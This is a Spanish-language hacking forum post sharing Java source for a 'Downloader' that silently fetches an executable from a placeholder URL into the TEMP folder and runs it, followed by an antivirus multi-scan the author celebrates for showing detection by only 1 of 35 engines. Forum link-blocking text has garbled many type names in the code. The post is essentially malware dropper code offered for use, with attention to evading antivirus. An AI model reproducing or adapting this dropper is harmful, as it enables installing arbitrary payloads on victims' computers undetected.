send
Grupo de Telegram
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

Downloader [By Expermicid]

  • 0 Respuestas
  • 1238 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado Expermicid

  • *
  • Underc0der
  • Mensajes: 457
  • Actividad:
    0%
  • Reputación 0
  • _-Expermicid-_
    • Ver Perfil
  • Skype: expermicid.xd
« en: Enero 17, 2013, 02:32:51 pm »
Empece haciendo un code para descargar archivos y luego le agregue la ejecucion mas algunas modificaciones y termino en un Downloader xD

Código: Java
  1. import java.net.URL;
  2. import java.net.URLConnection;
  3. import java.io.File;
  4. import java.io.InputStream;
  5. import java.io.OutputStream;
  6. import java.io.FileOutputStream;
  7.  
  8. class Downloader {
  9.  
  10.         static final You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login url = "Url_del_Archivo"; // url de descarga
  11.         static final You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login nombre = "Nombre_Archivo.exe"; // nombre del archivo
  12.         static final You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login ruta = You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.getenv("TEMP"); // lugar de descarga
  13.        
  14.         // constructor
  15.         public Downloader() {
  16.        
  17.         }
  18.  
  19.         // metodo descargarArchivo
  20.         private void descargarArchivo() {
  21.                 try {
  22.                         You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login tempFile = new You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login(ruta + "/" + nombre); // creamos un archivo en Temp
  23.                         // se establace la conexion
  24.                         You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login conn = new You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login(url).openConnection();
  25.                         conn.connect();
  26.                         // preparamos los Stream para el archivo de descarga y el creado
  27.                         You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login descarga = conn.getInputStream();
  28.                         You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login creado = new You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login(tempFile);
  29.                         int bits = 0;
  30.                         // leemos y escribimos byte por byte
  31.                         while ( bits != -1 ) {
  32.                                 bits =  descarga.read();
  33.                                 if ( bits != -1 ) {
  34.                                         creado.write(bits);
  35.                                 }
  36.                         }
  37.                         // se cierran los Stream
  38.                         creado.close();
  39.                         descarga.close();
  40.                 } catch ( You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login e ) { }
  41.                
  42.         } // fin del metodo descargarArchivo
  43.  
  44.         // metodo ejecutarArchivo
  45.         private void ejecutarArchivo() {
  46.  
  47.                 You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login aplicacion = You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.getRuntime();
  48.                 try {
  49.                         You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login proceso = aplicacion.exec(ruta + "/" + nombre);
  50.                         proceso.waitFor();
  51.                 } catch ( You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login e ) { }
  52.  
  53.         } // fin del metodo ejecutarArchivo
  54.        
  55.         // metodo Main
  56.         public static void main(You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login[] args) {
  57.                 Downloader down = new Downloader();
  58.                 down.descargarArchivo();
  59.                 down.ejecutarArchivo();
  60.         }
  61.  
  62. }

NOTA: Deben poner la ruta y el nombre que ustedes deseen

Video demostrativo:



Despues de hacer todo solo por curiosidad lo tranforme a jar y lo analize para ver que tan quemado estaba, pero me lleve una sorpresa xD

Date and Time: 10/29/2012 6:50:27 PM
File Name: Downloader.jar
File Size: 1675 Bytes
MD5: 2edb3f437e776b93117015522f225262
SHA1: d93f27a5b5d1a7ec200138797cfe54184d638711
Detection: 1 of 35 (3%)
Status: INFECTED

AVG Free - Clean!
ArcaVir - Clean!
Avast 5 - Clean!
AntiVir (Avira) - Clean!
BitDefender - Clean!
VirusBuster Internet Security - Clean!
Clam Antivirus - Clean!
COMODO Internet Security - Clean!
Dr.Web - Clean!
eTrust-Vet - Clean!
F-PROT Antivirus - Clean!
F-Secure Internet Security - Clean!
G Data - Clean!
IKARUS Security - Clean!
Kaspersky Antivirus - Clean!
MS Security Essentials - Clean!
ESET NOD32 - Clean!
Norman - Clean!
Norton Antivirus - Clean!
Panda Security - Clean!
A-Squared - Clean!
Quick Heal Antivirus - Clean!
Rising Antivirus - Clean!
Solo Antivirus - Clean!
Sophos - Downloader.class=Mal/ClsDLod-A
Trend Micro Internet Security - Clean!
VBA32 Antivirus - Clean!
Vexira Antivirus - Clean!
Zoner AntiVirus - Clean!
Ad-Aware - Clean!
BullGuard - Clean!
Immunet Antivirus - Clean!
K7 Ultimate - Clean!
mcafree - Clean!
VIPRE - Clean!

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Saludos

 

¿Te gustó el post? COMPARTILO!



Capturador de Pantalla remoto [By Expermicid]

Iniciado por Expermicid

Respuestas: 5
Vistas: 2249
Último mensaje Junio 02, 2013, 06:47:49 pm
por paixon